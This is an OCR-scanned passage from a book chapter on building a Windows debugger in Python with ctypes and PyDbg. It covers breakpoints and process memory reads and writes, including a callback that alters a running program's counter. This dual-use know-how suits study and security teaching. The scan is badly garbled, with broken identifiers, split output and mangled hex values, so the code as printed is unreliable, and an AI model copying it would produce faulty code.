def enumerate_threads(self) :
thread_entry = THREADENTRY32()
36 Chapter 3
thread_list = []
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread_entry.dwSize = sizeof (thread_entry)
success = kernel32.Thread32First(snapshot,
byref (thread_entry))
while success:
if thread_entry ,th320wnerProcessID == self.pid:
thread_list .append (thread_entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref (thread_entry) )
kernel32.CloseHandle( snapshot)
return thread_list
else:
return False
def get_thread_context (self, thread_id):
context = CONTEXT ()
context. ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS
# Obtain a handle to the thread
h_thread = self ,open_thread(thread_id)
if kernel32.GetThreadContext(h_thread, byref (context)) :
kernel32 . CloseHandle(h_thread)
return context
else:
return False
Now that we have extended our debugger a bit more, let’s update the
test harness to try out the new features.
mytest.py
import my_debugger
debugger = my_debugger. debugger ()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger. attach (int(pid))
list = debugger. enumerate_threads()
# For each thread in the list we want to
# grab the value of each of the registers
Building a Windows Debugger
37
for thread in list:
thread_context = debugger. get_thread_context(thread)
# Now let's output the contents of some of the registers
print "
[*]
Dumping registers for thread ID: 0x%08x" % thread
print "
**
EIP
0x%08x"
% thread_context.Eip
print "
**
ESP
0x%08x"
% thread_context.Esp
print "
**
EBP
0x%08x"
% thread_context.Ebp
print "
**
EAX
0x%08x"
% thread_context.Eax
print "
**
EBX
0x%08x"
% thread_context.Ebx
print "
**
ECX
0x%08x"
% thread_context.Ecx
print "
**
EDX
0x%08x"
% thread_context.Edx
print "
:*]
END DUMP"
debugger. detach()
When you run the test harness this time, you should see output shown in
Listing 3-1.
Enter the PID of the process to attach to: 4028
[*] Dumping registers for thread ID: 0x00000550
[**] EIP: Ox7c90eb94
[**] ESP: 0x0007fde0
[**] EBP: 0x0007fdfc
[**] EAX: 0x006ee208
[**] EBX: 0x00000000
[**] ECX: 0x0007fdd8
[**] EDX: 0x7c90eb94
[*] END DUMP
[*] Dumping registers for thread ID: 0x000005c0
[**] EIP: Ox7c95077b
[**] ESP: 0x0094fff8
[**] EBP: 0x00000000
[**] EAX: 0x00000000
[**] EBX: 0x00000001
[**] ECX: oxooooooo 2
[**] EDX: OxOOOOOOOB
[*] END DUMP
[*] Finished debugging. Exiting...
Listing 3- 1 : CPU register values for each executing thread
How cool is that? We can now query the state of all the CPLT registers
whenever we please. Try it out on a few processes, and see what kind of results
you get! Now that we have the core of our debugger built, it is time to imple-
ment some of the basic debugging event handlers and the various flavors of
breakpoints.
38 Chapter 3
3.3 Implementing Debug Event Handlers
For our debugger to take action upon certain events, we need to establish
handlers for each debugging event that can occur. If we refer back to the
WaitForDebugEventQ function, we know that it returns a populated DEBUG_EVENT
structure whenever a debugging event occurs. Previously we were ignoring
this struct and just automatically continuing the process, but now we are
going to use information contained within the struct to determine how to
handle a debugging event. The DEBUG_EVENT structure is defined like this:
typedef struct DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadld;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_IWFO DebugString;
RIP_INF0 Riplnfo;
}u;
};
There is a lot of useful information in this struct. The dwDebugEventCode
is of particular interest, as it dictates what type of event was trapped by the
WaitForDebugEventQ function. It also dictates the type and value for the u
union. The various debug events based on their event codes are shown in
Table 3-1.
Table 3-1: Debugging Events
Event Code
Event Code Value
Union u Value
Oxl
EXCEPTI0N_DEBUG_EVENT
u. Exception
0X2
CREATE_THREAD_DEBUG_EVENT
u. CreateThread
0X3
CREATE_PROCESS_DEBUG_EVENT
u. CreateProcessInfo
0X4
EXIT_THREAD_DEBUG_EVENT
u.ExitTh read
0X5
EXIT_PROCESS_DEBUG_EVENT
u. ExitProcess
0x6
LOAD_DLL_DEBUG_EVENT
u. LoadDll
0x7
UNLOAD_DLL_DEBUG_EVENT
u. UnloadDll
0x8
OUPUT_DEBUG_STRING_ EVENT
u. DebugString
0x9
RIP_EVENT
u. Riplnfo
Building a Windows Debugger
39
By inspecting the value of dwDebugEventCode, we can then map it to a
populated structure as defined by the value stored in the u union. Let’s
modify our debug loop to show us which event has been fired based on the
event code. Using that information, we will be able to see the general flow
of events after we have spawned or attached to a process. We’ll update
my_debugger.py as well as our my_test.py test script.
mydebugger.py
class debuggerQ:
def init (self) :
self ,h_process = None
self.pid = None
self ,debugger_active = False
self .h_thread = None
self. context = None
def get_debug_event(self) :
debug_event = DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32. Wait ForDebugEvent(byref(debug_event), INFINITE) :
# Let's obtain the thread and context information
self.h_thread = self .open_thread(debug_event.dwThreadId)
self. context = self .get_thread_context(self .h_thread)
print "Event Code: %d Thread ID: %d" %
(debug_event . dwDebugEventCode, debug_event . dwThreadld)
kernel32 . ContinueDebugEvent (
debug_event . dwProcessId,
debug_event . dwThreadld,
continue_status )
mytest.py
import my_debugger
debugger = my_debugger. debuggerQ
pid = raw_input("Enter the PID of the process to attach to: ")
debugger. attach (int(pid))
debugger. run()
debugger. detachQ
40 Chapter 3
Again, if we use our good friend calc.exe, the output from our script
should look similar to Listing 3-2.
Enter the PID of the process to attach to: 2700
Event Code: 3 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 6 Thread ID
3976
Event Code: 2 Thread ID
3912
Event Code: 1 Thread ID
3912
Event Code: 4 Thread ID
3912
Listing 3-2: Event codes when attaching to a calc.exe process
So based on the output of our script, we can see that a CREATE_PROCESS_EVENT
(0x3) gets fired first, followed by quite a few LOAD_DLL_DEBUG_EVENT (0x6)
events and then a CREATE_THREAD_DEBUG_EVENT (0x2). The next event is an
EXCEPTION_DEBUG_EVENT (Oxl), which is a Windows-driven breakpoint that
allows a debugger to inspect the process’s state before resuming execution.
The last call we see is EXIT_THREAD_DEBUG_EVENT (0x4), which is simply the thread
with TID 3912 ending its execution.
The exception event is of particular interest, as exceptions can include
breakpoints, access violations, or improper access permissions on memory
(attempting to write to a read-only portion of memory, for example). All
of these subevents are important to us, but let’s start with catching the first
Windows-driven breakpoint. Open my_debugger.py and insert the following
code.
mydebugger.py
class debuggerQ:
init (self) :
self ,h_process
None
self.pid
None
self .debugger_active
False
self .h_thread
None
self. context
None
self .exception
None
self ,exception_address =
None
def get_debug_event(self) :
debug_event = DEBUG_EVENT()
Building a Windows Debugger
41
continue_status= DBG_CONTINUE
if kernel32. Wait ForDebugEvent(byref(debug_event), INFINITE) :
# Let's obtain the thread and context information
self.h_thread = self ,open_thread(debug_event. dwThreadld)
self. context = self ,get_thread_context(self ,h_thread)
print "Event Code: %d Thread ID: %d" %
(debug_event . dwDebugEventCode, debug_event . dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event . dwDebugEventCode == EXCEPTION_DEBUG_EVENT :
# Obtain the exception code
exception =
debug_event . u . Exception . ExceptionRecord . ExceptionCode
self ,exception_address =
debug_event . u . Exception . ExceptionRecord . ExceptionAddress
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_BREAKPOINT :
continue_status = self ,exception_handler_breakpoint()
elif ec == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE_STEP :
print "Single Stepping."
kernel32.ContinueDebugEvent( debug_event .dwProcessId,
debug_event .dwThreadld,
continue_status )
def exception_handler_breakpoint() :
print "[*] Inside the breakpoint handler,
print "Exception Address: 0x%08x" %
self .except ion_address
return DBG CONTINUE
If you rerun your test script, you should now see the output from the soft
breakpoint exception handler. We have also created stubs for hardware break-
points (EXCEPTION_SINGLE_STEP) and memory breakpoints ( EXCE PTION_GUARD_PAGE ) .
Armed with our new knowledge, we can now implement our three different
breakpoint types and the correct handlers for each.
42 Chapter 3
3.4 The Almighty Breakpoint
Now that we have a functional debugging core, it’s time to add breakpoints.
Using the information from Chapter 2, we will implement soft breakpoints,
hardware breakpoints, and memory breakpoints. We will also develop special
handlers for each type of breakpoint and show how to cleanly resume the
process after a breakpoint has been hit.
3.4 . 7 Soft Breakpoints
In order to place soft breakpoints, we need to be able to read and write
into a process’s memory. This is done via the ReadProcessMemory() lb and
WriteProcessMemoryQ 17 functions. They have similar prototypes:
BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead
BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
Both of these calls allow the debugger to inspect and alter the debuggee’s
memory. The parameters are straightforward; lpBaseAddress is the address
where you wish to start reading or writing. The lpBuffer parameter is a pointer
to the data that you are either reading or writing, and the nSize parameter is
the total number of bytes you wish to read or write.
Using these two function calls, we can enable our debugger to use soft
breakpoints quite easily. Let’s modify our core debugging class to support
the setting and handling of soft breakpoints.
mydebugger.py
class debuggerQ:
def init (self):
16 See MSDN ReadProcessMemory Function ( http://msdn2.micmsoft.com/en-us/library/
ms680553. aspx) .
17 See MSDN WriteProcessMemory Function ( http://msdn2.microsoft.com/en-us/library/
ms681 6 74. aspx) .
Building a Windows Debugger
43
self ,h_process
None
self.pid
None
self ,debugger_active
False
self .h_thread
None
self. context
None
self .breakpoints
{}
def read_process_memory(self, address, length) :
data = ""
read_buf = create_string_buffer(length)
count = c_ulong(o)
if not kernel32.ReadProcessMemory(self ,h_process,
address,
read_buf,
length,
byref(count)) :
return False
else:
data += read_buf.raw
return data
def write_process_memory(self, address, data) :
count = c_ulong(o)
length = len(data)
c_data = c_char_p(data[count. value: ] )
if not kernel32.WriteProcessMemory(self.h_process,
address,
c_data,
length,
byref (count)) :
return False
else:
return True
def bp_set(self, address) :
if not self. breakpoints. has_key (address) :
try:
# store the original byte
original_byte = self ,read_process_memory(address, l)
# write the INT3 opcode
self .write_process_memory (address, "\xCC")
# register the breakpoint in our internal list
self .breakpoints[address] = (address, original_byte)
except:
return False
return True
Now that we have support for soft breakpoints, we need to find a good
place to put one. In general, breakpoints are set on a function call of some
type; for the purpose of this exercise we will use our good friend printfQ as
the target function we wish to trap. The Windows debugging API has given us
a very clean method for determining the virtual address of a function in the
form of GetProcAddressQ, 18 which again is exported from kernel32.dll. The
only primary requirement of this function is a handle to the module (a .dll or
.exe file) that contains the function we are interested in; we obtain this handle
by using GetModuleHandleQ. 19 The function prototypes for GetProcAddressQ and
GetModuleHandleQ look like this:
FARPROC WINAPI GetProcAddress(
HMODULE hModule,
LPCSTR IpProcName
);
HMODULE WINAPI GetModuleHandle(
LPCSTR lpModuleName
);
This is a pretty straightforward chain of events: We obtain a handle to
the module and then search for the address of the exported function we
want. Let’s add a helper function in our debugger to do just that. Again back
to my -debugger. py.
mydebugger.py
class debuggerQ:
def func_resolve(self, dll, function) :
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32 . CloseHandle(handle)
return address
Now let’s create a second test harness that will use printfQ in a loop. We
will resolve the function address and then set a soft breakpoint on it. After
the breakpoint is hit, we should see some output, and then the process will
continue its loop. Create a new Python script called printf_loop.py, and punch
in the following code.
18 See MSDN GetProcAddress Function (http://msdn2.microsofi.com/en-us/library/ms683212.aspx) .
19 See MSDN GetModuleHandle Function (http://msdn2.microsofi.com/en-us/library/
ms6831 99. aspx) .
Building a Windows Debugger
45
printfloop.py
from ctypes import *
import time
msvcrt = cdll.msvcrt
counter = 0
while l:
msvcrt. printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1
Now let’s update our test harness to attach to this process and to set a
breakpoint on printfQ.
mytest.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger. attach (int(pid))
printf_address = debugger. func_resolve("msvcrt. dll", "printf ")
print "[*] Address of printf: 0x%08x" % printf_address
debugger. bp_set(printf_address)
debugger. run()
So to test this, fire up printf _loop.py in a command-line console. Take note
of the python.exe PID using Windows Task Manager. Now run your my_test.py
script, and enter the PID. You should see output shown in Listing 3-3.
Enter the PID of the process to attach to: 4048
[*] Address of printf: Ox77c4l86a
[*] Setting breakpoint at: Ox77c4l86a
Event
Code:
3
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
46 Chapter 3
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
6
Thread
ID
3148
Event
Code:
2
Thread
ID
3620
Event
Code:
1
Thread
ID
3620
[*] Exception address: 0x7c90l230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148
[*] Exception address: Ox77c4l86a
[*] Hit user defined breakpoint.
Listing 3-3: Order of events for handling a soft breakpoint
We can first see that printf () resolves to Ox 77 c 4 l 86 a, and so we set our
breakpoint on that address. The first exception that is caught is the Windows-
driven breakpoint, and when the second exception comes along, we see that
the exception address is Ox77c4l86a, the address of printf (). After the break-
point is handled, the process should resume its loop. Our debugger now
supports soft breakpoints, so let’s move on to hardware breakpoints.
3.4.2 Hardware Breakpoints
The second type of breakpoint is the hardware breakpoint, which involves
setting certain bits in the CPU’s debug registers. We covered this process
extensively in the previous chapter, so let’s get to the implementation details.
The important thing to remember when managing hardware breakpoints is
tracking which of the four available debug registers are free for use and which
are already being used. We have to ensure that we are always using a slot that
is empty, or we can run into problems where breakpoints aren’t being hit
where we expect them to.
Let’s start by enumerating all of the threads in the process and obtain a
CPU context record for each of them. Using the retrieved context record, we
then modify one of the registers between DRO and DR3 (depending on which
are free) to contain the desired breakpoint address. We then flip the appro-
priate bits in the DR7 register to enable the breakpoint and set its type and
length.
Once we have created the routine to set the breakpoint, we need to
modify our main debug event loop so that it can appropriately handle the
exception that is thrown by a hardware breakpoint. We know that a hardware
breakpoint triggers an INTI (or single-step event), so we simply add another
exception handler to our debug loop. Let’s start with setting the breakpoint.
mydebugger.py
class debuggerQ:
def init (self):
self ,h_process = None
Building a Windows Debugger
47
self.pid
None
self .debugger_active =
False
self ,h_thread
None
self. context
None
self .breakpoints
{}
self ,first_breakpoint=
True
self ,hardware_breakpoints
= {}
def bp_set_hw(self, address, length, condition):
# Check for a valid length value
if length not in (l, 2, 4):
return False
else:
length -= 1
# Check for a valid condition
if condition not in (HW_ ACCESS, HWJXECUTE, HWJJRITE):
return False
# Check for available slots
if not self.hardware_breakpoints.has_key(o) :
available = 0
elif not self ,hardware_breakpoints.has_key(l) :
available = 1
elif not self .hardware_breakpoints.has_key(2) :
available = 2
elif not self .hardware_breakpoints.has_key(B) :
available = 3
else:
return False
# We want to set the debug register in every thread
for thread_id in self .enumerate_threads() :
context = self ,get_thread_context(thread_id=thread_id)
# Enable the appropriate flag in the DR7
# register to set the breakpoint
context. Dr7 |= 1 << (available * 2)
# Save the address of the breakpoint in the
# free register that we found
if available == 0:
context. Dro = address
elif available == 1:
context. Drl = address
elif available == 2:
context. Dr2 = address
elif available == 3:
context. Dr3 = address
# Set the breakpoint condition
context. Dr7 |= condition << ((available * 4) + 16)
# Set the length
48 Chapter 3
context. Dr7 |= length << ((available * 4) + 18)
# Set thread context with the break set
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref (context))
# update the internal hardware breakpoint array at the used
# slot index.
self .hardware_breakpoints [available] = (address, length, condition)
return True
You can see that we select an open slot to store the breakpoint by checking
the global hardware_breakpoints dictionary. Once we have obtained a free slot,
we then assign the breakpoint address to the slot and update the DR7 register
with the appropriate flags that will enable the breakpoint. Now that we have
the mechanism to support setting the breakpoints, let’s update our event
loop and add an exception handler to support the INTI interrupt.
mydebugger.py
class debuggerQ:
def get_debug_event(self) :
if self. exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
elif self. exception == EXCEPTION_BREAKPOINT :
continue_status = self .exception_handler_breakpoint()
elif self. exception == EXCEPTION_GUARD_PAGE :
print "Guard Page Access Detected."
elif self. exception == EXCEPTION_SINGLE_STEP:
self . exception_handler_single_step( )
def exception_handler_single_step(self ) :
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self .context. Dr6 & Oxl and self ,hardware_breakpoints.has_key(o) :
slot = 0
elif self .context. Dr6 & 0x2 and self.hardware_breakpoints.has_key(l) :
slot = 1
elif self .context. Dr6 & 0x4 and self.hardware_breakpoints.has_key(2) :
slot = 2
elif self .context. Dr6 & 0x8 and self.hardware_breakpoints.has_key(3) :
slot = 3
else:
# This wasn't an INTI generated by a hw breakpoint
Building a Windows Debugger
49
continue_status = DBG_EXCE PTION_NOT_HANDL ED
# Now let's remove the breakpoint from the list
if self.bp_del_hw(slot):
continue_status = DBG_CONTINUE
print "[*] Hardware breakpoint removed."
return continue status
def bp_del_hw(self ,slot) :
# Disable the breakpoint for all active threads
for thread_id in self .enumerate_threads() :
context = self .get_thread_context(thread_id=thread_id)
# Reset the flags to remove the breakpoint
context. Dr7 &= ~(i << (slot * 2))
# Zero out the address
if slot == 0:
context.Dro = oxoooooooo
elif slot == l:
context.Dri = oxoooooooo
elif slot == 2:
context.Dr 2 = oxoooooooo
elif slot == 3:
context.Dr3 = oxoooooooo
# Remove the condition flag
context. Dr7 &= ~(3 << ((slot * 4) + 16))
# Remove the length flag
context. Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint removed
h_thread = self .open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref (context))
# remove the breakpoint from the internal list,
del self . hardware_breakpoints [ slot ]
return True
This process is fairly straightforward; when an INTI is fired we check to
see if any of the debug registers are set up with a hardware breakpoint. If the
debugger detects that diere is a hardware breakpoint at the exception address,
it zeros out the flags in DR7 and resets the debug register that contains the
breakpoint address. Let’s see this process in action by modifying our myjtest.py
script to use hardware breakpoints on our printfQ call.
50 Chapter 3
mytest.py
import my_debugger
from my_debugger_defines import *
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger. attach (int(pid))
printf = debugger. func_resolve("msvcrt. dll", "printf")
print "[*] Address of printf: 0x%08x" % printf
debugger. bp_set_hw(printf,l,HW_EXECUTE)
debugger. run()
This harness simply sets a breakpoint on the printf () call whenever it
gets executed. The length of the breakpoint is only a single byte. You will
notice that in this harness we imported the my_debugger_defines.py file; this is
so we can access the HW_EXECUTE constant, which provides a little code clarity.
When you run the script you should see output similar to Listing 3-4.
Enter the PID of the process to attach to: 2504
[*] Address of printf: Ox77c4l86a
Event
Code:
3
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
6
Thread
ID
3704
Event
Code:
2
Thread
ID
2228
Event
Code:
1
Thread
ID
2228
[*] Exception address: 0x7c90l230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704
[*] Hardware breakpoint removed.
Listing 3-4: Order of events for handling a hardware breakpoint
Building a Windows Debugger
51
You can see from the order of events that an exception gets thrown, and
our handler removes the breakpoint. The loop should continue to execute
after the handler is finished. Now that we have support for soft and hardware
breakpoints, let’s wrap up our lightweight debugger with memory breakpoints.
3.4.3 Memory Breakpoints
The final feature that we are going to implement is the memory breakpoint.
First, we are simply going to query a section of memory to determine where
its base address is (where the page starts in virtual memory) . Once we have
determined the page size, we will set the permissions of that page so that
it acts as a guard page. When the CPU attempts to access this memory, a
GUARD_PAGE_EXCEPTION will be thrown. Using a specific handler for this exception,
we revert to the original page permissions and continue execution.
In order for us to properly calculate the size of the page we are manipu-
lating, we have to first query the operating system itself to retrieve the default
page size. This is done by executing the GetSystemInfo()~° function, which
populates a SYSTEM_INFO“ 1 structure. This structure contains a dwPageSize
member, which gives us the correct page size for the system. We will imple-
ment this first step when our debuggerQ class is first instantiated.
mydebugger.py
class debuggerQ:
def init (self):
self ,h_process = None
self.pid = None
self ,debugger_active = False
self ,h_thread = None
self. context = None
self .breakpoints = {}
self ,first_breakpoint= True
self ,hardware_breakpoints = {}
# Here let's determine and store
# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self ,page_size = system_info. dwPageSize
Now that we have captured the default page size, we are ready to begin
querying and manipulating page permissions. The first step is to query the
page that contains the address of the memory breakpoint we wish to set.
This is done by using the VirtualOueryExQ" 2 function call, which populates a
20 See MSDN GetSystemlnfo Function ( http://msdn2.microsoft.com/en-us/library/ms724381.aspx ).
21 See MSDN SYSTEM_INFO Structure (http://msdn2.microsoft.com/en-us/library/ms724958.aspx) .
22 See MSDN VirtualQueryEx Function ( http://msdn2.microsoft.com/en-us/library/aa366907.aspx).
52 Chapter 3
MEMORY_BASIC_INFORMATION “' 5 structure with the characteristics of the memory
page we queried. Following are the definitions for both the function and the
resulting structure:
SIZE_T WINAPI VirtualOuery(
HANDLE hProcess,
LPCVOID IpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
typedef struct MEMORY_BASIC_INFORMATION{
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
Once the structure has been populated, we will use the BaseAddress value
as the starting point to begin setting the page permission. The function that
actually sets the permission is VirtualProtectExQ ," 4 which has the following
prototype:
BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID IpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
So let’s get down to code. We are going to create a global list of guard
pages that we have explicitly set as well as a global list of memory breakpoint
addresses that our exception handler will use when the GUARD_PAGE_EXCEPTION
gets thrown. Then we set the permissions on the address and surrounding
memory pages (if the address straddles two or more memory pages) .
mydebugger.py
class debuggerQ:
def init (self):
23 See MSDN MEMORY_BASIC_INFORMATION Structure (http://msdn2.microsofi.com/en-us/
library /aa3 667 7 5 .aspx) .
24 See MSDN VirtualProtectEx Function (http://msdn.microsofi.com/en-us/library/aa366899
(vs. 85). aspx).
Building a Windows Debugger
53
self ,guarded_pages = []
self .memory_breakpoints = {}
def bp_set_mem (self, address, size):
mbi = MEMORY_BASIC_INFORMATION()
# If our VirtualOueryExQ call doesn’t return
# a full-sized MEMORY_BASIC_INFORMATION
# then return False
if kernel32.VirtualOueryEx(self .h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof (mbi) :
return False
current_page = mbi.BaseAddress
# We will set the permissions on all pages that are
# affected by our memory breakpoint,
while current_page <= address + size:
# Add the page to the list; this will
# differentiate our guarded pages from those
# that were set by the OS or the debuggee process
self .guarded_pages. append (current_page)
old_protection = c_ulong(o)
if not kernel32.VirtualProtectEx(self .h_process,
current_page, size,
mbi. Protect | PAGE_GUARD, byref(old_protection)) :
return False
# Increase our range by the size of the
# default system memory page size
current_page += self ,page_size
# Add the memory breakpoint to our global list
self ,memory_breakpoints[address] = (address, size, mbi)
return True
Now you have the ability to set a memory breakpoint. If you try it out in
its current state by using our printfQ looper, you should get output that
simply says Guard Page Access Detected. The nice thing is that when a guard
page is accessed and the exception is thrown, the operating system actually
removes the protection on that page of memory and allows you to continue
execution. This saves you from creating a specific handler to deal with it;
however, you could build logic into the existing debug loop to perform certain
54 Chapter 3
actions when the breakpoint is hit, such as restoring the breakpoint, reading
memory at the location where the breakpoint is set, pouring you a fresh coffee,
or whatever you please.
3.5 Conclusion
This concludes the development of a lightweight debugger on Windows. Not
only should you have a firm grip on building a debugger, but you also have
learned some very important skills that you will find useful whether you are
doing debugging or not! When using another debugging tool, you should
now be able to grasp what it is doing at a low level, and you should know how
to modify the debugger to better suit your needs if necessary. The sky is the
limit!
The next step is to show some advanced usage of two mature and stable
debugging platforms on Windows: PyDbg and Immunity Debugger. You have
inherited a great deal of information on how PyDbg works under the hood,
so you should feel comfortable stepping right into it. The Immunity Debugger
syntax is slightly different, but it offers a significantly different set of features.
Understanding how to use both for specific debugging tasks is critical for
you to be able to perform automated debugging. Onward and upward! Let’s
hit PyDbg.
Building a Windows Debugger
55
4
PYDBG— A PURE PYTHON
WINDOWS DEBUGGER
If you’ve made it this far, then you should have a good
understanding of how to use Python to construct a
user-mode debugger for Windows. We’ll now move on
to learning how to harness the power of PyDbg, an
open source Python debugger for Windows. PyDbg was released by Pedrarn
Amini at Recon 2006 in Montreal, Quebec, as a core component in the
PaiMei 1 reverse engineering framework. PyDbg lias been used in quite a few
tools, including the popular proxy fuzzer Taof and a Windows driver fuzzer
that I built called ioctlizer. We will start with extending breakpoint handlers
and then move into more advanced topics such as handling application
crashes and taking process snapshots. Some of the tools we’ll build in this
chapter can be used later on to support some of the fuzzers we are going to
develop. Let’s get on with it.
1 The PaiMei source tree, documentation, and development roadmap can be found at http://
code, google, com/p /paimei/.
4.1 Extending Breakpoint Handlers
In the previous chapter we covered the basics of using event handlers to
handle specific debugging events. With PyDbg it is quite easy to extend this
basic functionality by implementing user-defined callback functions. With a
user-defined callback, we can implement custom logic when the debugger
receives a debugging event. The custom code can do a variety of things
such as read certain memory offsets, set further breakpoints, or manipulate
memory. Once the custom code has run, we return control to the debugger
and allow it to resume the debuggee.
The PyDbg function to set soft breakpoints has the following prototype:
bp_set (address, descript ion="",restore=True,handler=None)
The address parameter is the address where the soft breakpoint should
be set; the description parameter is optional and can be used to uniquely
name each breakpoint. The restore parameter determines whether the
breakpoint should automatically be reset after it’s handled, and the handler
parameter specifies which function to call when this breakpoint is encoun-
tered. Breakpoint callback functions take only one parameter, which is an
instance of the pydbg() class. All context, thread, and process information will
already be populated in this class when it is passed to the callback function.
Using our printf_loop.py script, let’s implement a user-defined callback
function. For this exercise, we will read the value of the counter that is used
in the printf loop and replace it with a random number between 1 and 100.
One neat thing to remember is that we are actually observing, recording,
and manipulating live events inside the target process. This is truly powerful!
Open a new Python script, name it printf_random.py, and enter the following
code.
printfrandom.py
from pydbg import *
from pydbg. defines import *
import struct
import random
# This is our user defined callback function
def printf_randomizer(dbg) :
# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter_addr = dbg. context. Esp + 0x8
counter = dbg.read_process_memory(parameter_addr,4)
# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
58 Chapter 4
counter = struct. unpack("L",counter)[o]
print "Counter: %d" % int(counter)
# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random. randint(l, 100 )
random_counter = struct. pack("L",random_counter)[o]
# Now swap in our random number and resume the process
dbg.write_process_memory(parameter_addr,random_counter)
return DBG_CONTINUE
# Instantiate the pydbg class
dbg = pydbg()
# Now enter the PID of the printf_loop.py process
pid = raw_input("Enter the printf_loop.py PID: ")
# Attach the debugger to that process
dbg.attach(int(pid))
# Set the breakpoint with the printf_randomizer function
# defined as a callback
printf_address = dbg.func_resolve("msvcrt","printf")
dbg.bp_set(printf_address,description="printf_address",handler=printf_randomizer)
# Resume the process
dbg.runQ
Now run both the printf_loop.py and the prin tfjrando m.py scripts. The
output should look similar to what is shown in Table 4-1.
Table 4-1: Output from the Debugger and the Manipulated Process
Output from Debugger
Output from Debugged Process
Enter the printf loop.py PID: 3466
Counter: 4
Counter: 5
Counter: 6
Counter: 7
Counter: 8
Counter: 9
Counter: 10
Loop iteration 0!
Loop iteration 1 !
Loop iteration 2!
Loop iteration 3!
Loop iteration 32!
Loop iteration 39!
Loop iteration 86!
Loop iteration 22!
Loop iteration 70!
Loop iteration 95!
Loop iteration 60!
PyDbg — A Pure Python Windows Debugger
59
You can see that the debugger set a breakpoint on the fourth iteration
of the infinite printf loop, because the counter as recorded by the debugger
is set to 4. You will also notice that the printf _loop.py script ran fine until it
reached iteration 4; instead of outputting the number 4, it output the
number 32! It is clear to see how our debugger records the real value of
the counter and sets the counter to a random number before it is output
by the debugged process. This is a simple yet powerful example of how you
can easily extend a scriptable debugger to perform additional actions when
debugging events occur. Now let’s take a look at handling application crashes
with PyDbg.
4.2 Access Violation Handlers
An access violation occurs inside a process when it attempts to access memory
it doesn’t have permission to access or in a particular way that it is not allowed.
The faults that lead to access violations range from buffer overflows to improp-
